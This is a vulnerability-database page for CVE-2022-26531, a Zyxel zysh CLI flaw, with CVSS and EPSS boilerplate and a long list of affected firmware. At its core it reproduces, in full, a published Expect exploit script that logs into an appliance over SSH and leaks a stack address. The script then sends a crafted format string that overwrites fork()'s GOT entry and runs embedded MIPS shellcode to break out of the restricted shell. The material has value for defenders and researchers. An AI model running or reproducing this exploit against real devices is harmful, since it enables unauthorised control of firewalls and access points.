CVE-2022-26531 : Detail

CVE-2022-26531

7.8
/
High
A03-Injection
0.96%V4
Local
2022-05-23
22h00 +00:00
2024-08-03
05h03 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple improper input validation flaws were identified in some CLI commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware versions 4.32 through 5.21, VPN series firmware versions 4.30 through 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and earlier versions, that could allow a local authenticated attacker to cause a buffer overflow or a system crash via a crafted payload.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 6.1 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51786

Publication date : 2024-02-08 23h00 +00:00
Author : Marco Ivaldi
EDB Verified : No

#!/usr/bin/expect -f # # raptor_zysh_fhtagn.exp - zysh format string PoC exploit # Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info> # # "We live on a placid island of ignorance in the midst of black seas of # infinity, and it was not meant that we should voyage far." # -- H. P. Lovecraft, The Call of Cthulhu # # "Multiple improper input validation flaws were identified in some CLI # commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, # USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware # versions 4.32 through 5.21, VPN series firmware versions 4.30 through # 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 # firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware # version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version # 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) # and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and # earlier versions, that could allow a local authenticated attacker to # cause a buffer overflow or a system crash via a crafted payload." # -- CVE-2022-26531 # # The zysh binary is a restricted shell that implements the command-line # interface (CLI) on multiple Zyxel products. This proof-of-concept exploit # demonstrates how to leverage the format string bugs I have identified in # the "extension" argument of some zysh commands, to execute arbitrary code # and escape the restricted shell environment. # # - This exploit targets the "ping" zysh command. # - It overwrites the .got entry of fork() with the shellcode address. # - The shellcode address is calculated based on a leaked stack address. # - Hardcoded offsets and values might need some tweaking, see comments. # - Automation/weaponization for other targets is left as an exercise. # # For additional details on my bug hunting journey and on the # vulnerabilities themselves, you can refer to the official advisory: # https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt # # Usage: # raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password # raptor_zysh_fhtagn.exp - zysh format string PoC exploit # Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info> # # Leaked stack address: 0x7fe97170 # Shellcode address: 0x7fe9de40 # Base string length: 46 # Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn # # *** enjoy your shell! *** # # sh-5.1$ uname -snrmp # Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0 # sh-5.1$ id # uid=10007(admin) gid=10000(operator) groups=10000(operator) # # Tested on: # Zyxel USG20-VPN with Firmware 5.10 # [other appliances/versions are also likely vulnerable] # # change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8 encoding system iso8859-1 # hostile format string to leak stack address via direct parameter access set offset1 77 set leak [format "AAAA.0x%%%d\$x" $offset1] # offsets to reach addresses in retloc sled via direct parameter access set offset2 1801 set offset3 [expr $offset2 + 1] # difference between leaked stack address and shellcode address set diff 27856 # retloc sled # $ mips64-linux-readelf -a zysh | grep JUMP | grep fork # 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0 # ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2] set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024] # nop sled # nop-equivalent instruction: xor $t0, $t0, $t0 set nops [string repeat "\x01\x8c\x60\x26" 64] # shellcode # https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c" # padding to align payload in memory (might need adjusting) set padding "AAA" # print header send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n" send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>\n\n" # check command line if { [llength $argv] != 3} { send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n" exit 1 } # get SSH connection parameters set port "22" set host [lindex $argv 0] set user [lindex $argv 1] set pass [lindex $argv 2] # inject payload via the TERM environment variable set env(TERM) $retloc$nops$sc$padding # connect to target via SSH log_user 0 spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user expect { -nocase "password*" { send "$pass\r" } default { send_error "error: could not connect to ssh\n" exit 1 } } # leak stack address expect { "Router? $" { send "ping 127.0.0.1 extension $leak\r" } default { send_error "error: could not access zysh prompt\n" exit 1 } } expect { -re "ping: unknown host AAAA\.(0x.*)\r\n" { } default { send_error "error: could not leak stack address\n" exit 1 } } set leaked $expect_out(1,string) send_user "Leaked stack address:\t$leaked\n" # calculate shellcode address set retval [expr $leaked + $diff] set retval [format 0x%x $retval] send_user "Shellcode address:\t$retval\n" # extract each byte of shellcode address set b1 [expr ($retval & 0xff000000) >> 24] set b2 [expr ($retval & 0x00ff0000) >> 16] set b3 [expr ($retval & 0x0000ff00) >> 8] set b4 [expr ($retval & 0x000000ff)] set b1 [format 0x%x $b1] set b2 [format 0x%x $b2] set b3 [format 0x%x $b3] set b4 [format 0x%x $b4] # calculate numeric arguments for the hostile format string set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "] send_user "Base string length:\t$base\n" set n1 [expr ($b4 - $base) % 0x100] set n2 [expr ($b2 - $b4) % 0x100] set n3 [expr ($b1 - $b2) % 0x100] set n4 [expr ($b3 - $b1) % 0x100] # check for dangerous numeric arguments below 10 if {$n1 < 10} { incr n1 0x100 } if {$n2 < 10} { incr n2 0x100 } if {$n3 < 10} { incr n3 0x100 } if {$n4 < 10} { incr n4 0x100 } # craft the hostile format string set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4] send_user "Hostile format string:\t$exploit\n\n" # uncomment to debug # interact + # exploit target set prompt "(#|\\\$) $" expect { "Router? $" { send "ping 127.0.0.1 extension $exploit\r" } default { send_error "error: could not access zysh prompt\n" exit 1 } } expect { "Router? $" { send_error "error: could not exploit target\n" exit 1 } -re $prompt { send_user "*** enjoy your shell! ***\n" send "\r" interact } default { send_error "error: could not exploit target\n" exit 1 } }

Products Mentioned

Configuraton 0

Zyxel>>Vpn100_firmware >> Version From (including) 4.30 To (including) 5.21

Zyxel>>Vpn100 >> Version -

Configuraton 0

Zyxel>>Vpn1000_firmware >> Version From (including) 4.30 To (including) 5.21

Zyxel>>Vpn1000 >> Version -

Configuraton 0

Zyxel>>Vpn300_firmware >> Version From (including) 4.30 To (including) 5.21

Zyxel>>Vpn300 >> Version -

Configuraton 0

Zyxel>>Vpn50_firmware >> Version From (including) 4.30 To (including) 5.21

Zyxel>>Vpn50 >> Version -

Configuraton 0

Zyxel>>Atp100_firmware >> Version From (including) 4.32 To (including) 5.21

Zyxel>>Atp100 >> Version -

Configuraton 0

Zyxel>>Atp100w_firmware >> Version From (including) 4.32 To (including) 5.21

Zyxel>>Atp100w >> Version -

Configuraton 0

Zyxel>>Atp200_firmware >> Version From (including) 4.32 To (including) 5.21

Zyxel>>Atp200 >> Version -

Configuraton 0

Zyxel>>Atp500_firmware >> Version From (including) 4.32 To (including) 5.21

Zyxel>>Atp500 >> Version -

Configuraton 0

Zyxel>>Atp700_firmware >> Version From (including) 4.32 To (including) 5.21

Zyxel>>Atp700 >> Version -

Configuraton 0

Zyxel>>Atp800_firmware >> Version From (including) 4.32 To (including) 5.21

Zyxel>>Atp800 >> Version -

Configuraton 0

Zyxel>>Usg_110_firmware >> Version From (including) 4.09 To (including) 4.71

    Zyxel>>Usg_110 >> Version -

    Configuraton 0

    Zyxel>>Usg_1100_firmware >> Version From (including) 4.09 To (including) 4.71

      Zyxel>>Usg_1100 >> Version -

      Configuraton 0

      Zyxel>>Usg_1900_firmware >> Version From (including) 4.09 To (including) 4.71

        Zyxel>>Usg_1900 >> Version -

        Configuraton 0

        Zyxel>>Usg_20w_firmware >> Version From (including) 4.09 To (including) 4.71

          Zyxel>>Usg_20w >> Version -

          Configuraton 0

          Zyxel>>Usg_20w-vpn_firmware >> Version From (including) 4.09 To (including) 4.71

          Zyxel>>Usg_20w-vpn >> Version -

          Configuraton 0

          Zyxel>>Usg_2200-vpn_firmware >> Version From (including) 4.09 To (including) 4.71

          Zyxel>>Usg_2200-vpn >> Version -

          Configuraton 0

          Zyxel>>Usg_310_firmware >> Version From (including) 4.09 To (including) 4.71

            Zyxel>>Usg_310 >> Version -

            Configuraton 0

            Zyxel>>Usg_40_firmware >> Version From (including) 4.09 To (including) 4.71

              Zyxel>>Usg_40 >> Version -

              Configuraton 0

              Zyxel>>Usg_40w_firmware >> Version From (including) 4.09 To (including) 4.71

                Zyxel>>Usg_40w >> Version -

                Configuraton 0

                Zyxel>>Usg_60_firmware >> Version From (including) 4.09 To (including) 4.71

                  Zyxel>>Usg_60 >> Version -

                  Configuraton 0

                  Zyxel>>Usg_60w_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg_60w >> Version -

                    Configuraton 0

                    Zyxel>>Usg_flex_100_firmware >> Version From (including) 4.50 To (including) 5.21

                    Zyxel>>Usg_flex_100 >> Version -

                    Configuraton 0

                    Zyxel>>Usg_flex_100w_firmware >> Version From (including) 4.50 To (including) 5.21

                    Zyxel>>Usg_flex_100w >> Version -

                    Configuraton 0

                    Zyxel>>Usg_flex_200_firmware >> Version From (including) 4.50 To (including) 5.21

                    Zyxel>>Usg_flex_200 >> Version -

                    Configuraton 0

                    Zyxel>>Usg_flex_500_firmware >> Version From (including) 4.50 To (including) 5.21

                    Zyxel>>Usg_flex_500 >> Version -

                    Configuraton 0

                    Zyxel>>Usg_flex_700_firmware >> Version From (including) 4.50 To (including) 5.21

                    Zyxel>>Usg_flex_700 >> Version -

                    Configuraton 0

                    Zyxel>>Usg200_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg200 >> Version -

                    Configuraton 0

                    Zyxel>>Usg20_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg20 >> Version -

                    Configuraton 0

                    Zyxel>>Usg210_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg210 >> Version -

                    Configuraton 0

                    Zyxel>>Usg2200_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg2200 >> Version -

                    Configuraton 0

                    Zyxel>>Usg300_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg300 >> Version -

                    Configuraton 0

                    Zyxel>>Usg310_firmware >> Version From (including) 4.09 To (including) 4.71

                    Zyxel>>Usg310 >> Version -

                    Configuraton 0

                    Zyxel>>Nsg300_firmware >> Version From (including) 1.00 To (excluding) 1.33

                    Zyxel>>Nsg300_firmware >> Version 1.33

                    Zyxel>>Nsg300_firmware >> Version 1.33

                    Zyxel>>Nsg300_firmware >> Version 1.33

                    Zyxel>>Nsg300_firmware >> Version 1.33

                    Zyxel>>Nsg300_firmware >> Version 1.33

                    Zyxel>>Nsg300 >> Version -

                    Configuraton 0

                    Zyxel>>Nsg100_firmware >> Version From (including) 1.00 To (excluding) 1.33

                      Zyxel>>Nsg100_firmware >> Version 1.33

                      Zyxel>>Nsg100_firmware >> Version 1.33

                      Zyxel>>Nsg100_firmware >> Version 1.33

                      Zyxel>>Nsg100_firmware >> Version 1.33

                      Zyxel>>Nsg100_firmware >> Version 1.33

                      Zyxel>>Nsg100 >> Version -

                      Configuraton 0

                      Zyxel>>Nsg50_firmware >> Version From (including) 1.00 To (excluding) 1.33

                        Zyxel>>Nsg50_firmware >> Version 1.33

                        Zyxel>>Nsg50_firmware >> Version 1.33

                        Zyxel>>Nsg50_firmware >> Version 1.33

                        Zyxel>>Nsg50_firmware >> Version 1.33

                        Zyxel>>Nsg50_firmware >> Version 1.33

                        Zyxel>>Nsg50 >> Version -

                        Configuraton 0

                        Zyxel>>Nxc2500_firmware >> Version To (including) 6.10\(aaig.3\)

                        Zyxel>>Nxc2500 >> Version -

                        Configuraton 0

                        Zyxel>>Nxc5500_firmware >> Version To (including) 6.10\(aaos.3\)

                        Zyxel>>Nxc5500 >> Version -

                        Configuraton 0

                        Zyxel>>Nap203_firmware >> Version To (including) 6.25\(abfa.7\)

                        Zyxel>>Nap203 >> Version -

                        Configuraton 0

                        Zyxel>>Nap303_firmware >> Version To (including) 6.25\(abex.7\)

                        Zyxel>>Nap303 >> Version -

                        Configuraton 0

                        Zyxel>>Nap353_firmware >> Version To (including) 6.25\(abey.7\)

                        Zyxel>>Nap353 >> Version -

                        Configuraton 0

                        Zyxel>>Nwa50ax_firmware >> Version To (including) 6.25\(abyw.5\)

                        Zyxel>>Nwa50ax >> Version -

                        Configuraton 0

                        Zyxel>>Nwa55axe_firmware >> Version To (including) 6.25\(abzl.5\)

                        Zyxel>>Nwa55axe >> Version -

                        Configuraton 0

                        Zyxel>>Nwa90ax_firmware >> Version To (including) 6.27\(accv.2\)

                        Zyxel>>Nwa90ax >> Version -

                        Configuraton 0

                        Zyxel>>Nwa110ax_firmware >> Version To (including) 6.30\(abtg.2\)

                        Zyxel>>Nwa110ax >> Version -

                        Configuraton 0

                        Zyxel>>Nwa210ax_firmware >> Version To (including) 6.30\(abtd.2\)

                        Zyxel>>Nwa210ax >> Version -

                        Configuraton 0

                        Zyxel>>Nwa1123-ac-hd_firmware >> Version To (including) 6.25\(abin.6\)

                        Zyxel>>Nwa1123-ac-hd >> Version -

                        Configuraton 0

                        Zyxel>>Nwa1123-ac-pro_firmware >> Version To (including) 6.25\(abhd.7\)

                        Zyxel>>Nwa1123-ac-pro >> Version -

                        Configuraton 0

                        Zyxel>>Nwa1123acv3_firmware >> Version To (including) 6.30\(abvt.2\)

                        Zyxel>>Nwa1123acv3 >> Version -

                        Configuraton 0

                        Zyxel>>Nwa1302-ac_firmware >> Version To (including) 6.25\(abku.6\)

                          Zyxel>>Nwa1302-ac >> Version -

                          Configuraton 0

                          Zyxel>>Nwa5123-ac-hd_firmware >> Version To (including) 6.25\(abim.6\)

                          Zyxel>>Nwa5123-ac-hd >> Version -

                          Configuraton 0

                          Zyxel>>Wac500h_firmware >> Version To (including) 6.30\(abwa.2\)

                          Zyxel>>Wac500h >> Version -

                          Configuraton 0

                          Zyxel>>Wac500_firmware >> Version To (including) 6.30\(abvs.2\)

                          Zyxel>>Wac500 >> Version -

                          Configuraton 0

                          Zyxel>>Wac5302d-s_firmware >> Version To (including) 6.10\(abfh.10\)

                            Zyxel>>Wac5302d-s >> Version -

                            Configuraton 0

                            Zyxel>>Wac5302d-sv2_firmware >> Version To (including) 6.25\(abvz.6\)

                            Zyxel>>Wac5302d-sv2 >> Version -

                            Configuraton 0

                            Zyxel>>Wac6103d-i_firmware >> Version To (including) 6.25\(aaxh.7\)

                            Zyxel>>Wac6103d-i >> Version -

                            Configuraton 0

                            Zyxel>>Wac6303d-s_firmware >> Version To (including) 6.25\(abgl.6\)

                              Zyxel>>Wac6303d-s >> Version -

                              Configuraton 0

                              Zyxel>>Wac6502d-e_firmware >> Version To (including) 6.25\(aasd.7\)

                              Zyxel>>Wac6502d-e >> Version -

                              Configuraton 0

                              Zyxel>>Wac6502d-s_firmware >> Version To (including) 6.25\(aase.7\)

                              Zyxel>>Wac6502d-s >> Version -

                              Configuraton 0

                              Zyxel>>Wac6503d-s_firmware >> Version To (including) 6.25\(aasf.7\)

                              Zyxel>>Wac6503d-s >> Version -

                              Configuraton 0

                              Zyxel>>Wac6553d-s_firmware >> Version To (including) 6.25\(aasg.7\)

                              Zyxel>>Wac6553d-s >> Version -

                              Configuraton 0

                              Zyxel>>Wac6552d-s_firmware >> Version To (including) 6.25\(abio.7\)

                              Zyxel>>Wac6552d-s >> Version -

                              Configuraton 0

                              Zyxel>>Wax510d_firmware >> Version To (including) 6.30\(abtf.2\)

                              Zyxel>>Wax510d >> Version -

                              Configuraton 0

                              Zyxel>>Wax610d_firmware >> Version To (including) 6.30\(abte.2\)

                              Zyxel>>Wax610d >> Version -

                              Configuraton 0

                              Zyxel>>Wax630s_firmware >> Version To (including) 6.30\(abzd.2\)

                              Zyxel>>Wax630s >> Version -

                              Configuraton 0

                              Zyxel>>Wax650s_firmware >> Version To (including) 6.30\(abrm.2\)

                              Zyxel>>Wax650s >> Version -

                              References

                              The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.